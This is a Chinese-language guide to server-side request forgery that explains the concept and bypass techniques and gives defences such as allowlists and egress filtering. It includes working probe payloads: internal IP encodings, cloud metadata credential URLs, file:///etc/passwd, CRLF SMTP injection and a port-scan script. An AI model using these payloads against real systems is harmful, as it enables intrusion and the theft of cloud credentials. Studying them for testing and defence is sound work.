SSRF攻击文档翻译
字数 1648 2025-08-29 08:32:24
服务器端请求伪造(SSRF)攻击全面指南
1. SSRF基础概念
1.1 什么是SSRF
服务器端请求伪造(Server-Side Request Forgery, SSRF)是一种安全漏洞,攻击者能够诱使服务器向非预期的目标发起请求。与客户端请求伪造(CSRF)不同,SSRF利用的是服务器端的请求能力。
关键特征:
- 服务器代表攻击者发起请求
- 可以访问通常无法直接访问的内部资源
- 绕过防火墙和安全组限制
- 常用于探测和攻击内网服务
1.2 攻击原理
Web服务器通常可以访问比外部用户更多的资源,因为:
- 本地网络信任级别高于外部网络
- 内部服务可能没有设置严格的身份验证
- 防火墙通常允许内部服务器之间的通信
1.3 典型攻击场景
- WebHook调试接口:允许用户测试WebHook处理程序,输入任意URL获取响应
- REST API端点:服务器从用户提供的URL获取数据
- 文件导入功能:从URL导入文件或数据
- 图片/资源加载:从用户提供的URL加载资源
2. SSRF攻击技术详解
2.1 基本探测技术
内网扫描:
http://127.0.0.1:8080
http://10.0.0.3:3306
AWS元数据服务:
http://169.254.169.254/latest/meta-data/
文件系统访问:
file:///etc/passwd
2.2 IPv4地址绕过技术
当应用尝试通过正则表达式限制特定IP地址时,有多种表示方法可以绕过:
2.2.1 整数表示法
将IPv4地址转换为32位整数:
10.0.0.3 → 00001010.00000000.00000000.00000011 → 167772163
请求:
http://167772163
2.2.2 十六进制表示法
http://0x0A000003
http://0x0A.0x00.0x00.0x03
2.2.3 八进制表示法
http://01200000003
http://012.00.00.03
2.2.4 溢出技术
某些NodeJS应用可能处理溢出:
http://265.0.0.3 # 265-256=9 → 实际解析为9.0.0.3
2.3 URL解析差异利用
不同URL解析库对特殊字符处理不一致:
示例:
http://google.com# @secret.corp
urlparse库解析hostname为google.comurllib库解析hostname为secret.corp
其他特殊字符:
- 空格
- 制表符
- 换行符
- 非ASCII字符
2.4 协议注入技术
利用换行符注入其他协议命令:
SMTP协议注入:
https://mail.corp\r\nHELO web.corp\r\nMAIL FROM...:25/
原理:
- 在SSL握手期间,主机名被完整使用
- SMTP将换行符解释为命令结束符
- 可在SSL流量中插入有效SMTP命令
适用协议:
- SMTP
- SIP
- 其他基于文本的协议
3. 防御措施
3.1 输入验证最佳实践
-
使用标准库解析URL:
- 不要自行实现URL解析逻辑
- 使用语言提供的标准URL解析库
-
严格白名单:
ALLOWED_DOMAINS = ['example.com', 'api.example.com'] if parsed_url.hostname not in ALLOWED_DOMAINS: raise Exception("Invalid domain") -
协议限制:
- 只允许HTTP/HTTPS
- 禁止file://, ftp://, gopher://等危险协议
3.2 网络层防护
-
出口过滤:
- 限制服务器只能访问必要的公网端点
- 禁止访问内网IP段(10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
-
网络隔离:
- 将Web服务器放在DMZ区域
- 限制Web服务器访问元数据服务(如169.254.169.254)
3.3 应用层防护
-
DNS重绑定防护:
- 解析URL的hostname后立即使用,不要缓存
- 验证DNS解析结果是否在允许范围内
-
响应处理:
- 不要将原始响应返回给客户端
- 对响应内容进行严格过滤
4. 高级攻击技术
4.1 端口扫描
利用SSRF进行内网端口扫描:
import requests
for port in range(1, 1025):
try:
response = requests.get(f'http://127.0.0.1:{port}', timeout=1)
print(f"Port {port} is open")
except:
continue
4.2 云服务元数据利用
AWS元数据服务:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
Google Cloud:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
4.3 内部API滥用
通过SSRF访问内部管理接口:
http://localhost:8080/actuator/env
http://localhost:8080/phpmyadmin/
5. 测试与验证
5.1 测试工具
- Burp Suite Collaborator - 检测出站请求
- SSRF Sheriff - Chrome扩展检测SSRF
- Gopherus - 生成SSRF攻击payload
5.2 测试Payloads
http://127.0.0.1:80
http://localhost:22
http://[::]:80/
http://0177.0.0.1/
http://2130706433/
http://0x7f000001/
http://127.1/
http://127.0.1/
6. 总结
SSRF是一种危害严重的安全漏洞,能够穿透网络边界访问内部系统。防御SSRF需要多层次的安全措施:
- 输入验证:严格验证所有用户提供的URL
- 网络控制:实施严格的出口过滤
- 最小权限:限制服务器网络访问权限
- 持续监控:监控异常请求模式
随着云原生架构和微服务的普及,SSRF的攻击面正在扩大,开发者和安全团队需要更加重视这类漏洞的防护。